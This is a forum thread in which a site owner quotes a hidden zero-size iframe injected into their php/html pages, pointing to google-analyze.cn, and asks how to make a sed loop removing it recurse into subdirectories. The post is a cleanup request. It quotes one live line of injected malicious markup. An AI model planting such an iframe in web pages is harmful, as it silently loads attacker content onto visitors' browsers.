![]() |
|
|
google unix.com
|
|||||||
| Forums | Register | Forum Rules | Links | Albums | FAQ | Members List | Calendar | Search | Today's Posts | Mark Forums Read |
| Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts and shell scripting languages here. |
More UNIX and Linux Forum Topics You Might Find Helpful
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| How to replace specific text line out of multiple occurance | madhusmita | Shell Programming and Scripting | 5 | 06-17-2008 02:03 PM |
| Replace text in multiple files | on9west | Shell Programming and Scripting | 1 | 05-20-2008 02:35 AM |
| Replace text in multiple files | Tonka52 | Shell Programming and Scripting | 10 | 03-24-2008 08:11 AM |
| How do you delete multiple text from a comma delimited file | dolo21taf | Shell Programming and Scripting | 1 | 02-20-2008 05:12 AM |
| Need to search and replace in multiple files in directory hierarchy | umen | Shell Programming and Scripting | 3 | 12-24-2007 04:56 AM |
|
|
LinkBack | Thread Tools | Search this Thread | Rate Thread | Display Modes |
|
||||
|
[help]Delete or replace text in multiple file and multiple directory
here's the case : almost of php/html file on my site has added the text : Code:
<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe> I don't know how this happen, so i want to remove above text from all of my php/html. i have tried this following script : Code:
for y in *
do
sed 's_<iframe src="http:\/\/google-analyze.cn\/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></\iframe>_ _' "$y" >temp
if cmp temp "$y" >/dev/null
then
rm temp
else
mv temp "$y"
fi
done
Above script was works but only in the directory where i run the script, i want all files in subdirectory too, anyone can help me? Thx |
| Bookmarks |
| Thread Tools | Search this Thread |
| Display Modes | Rate This Thread |
|
|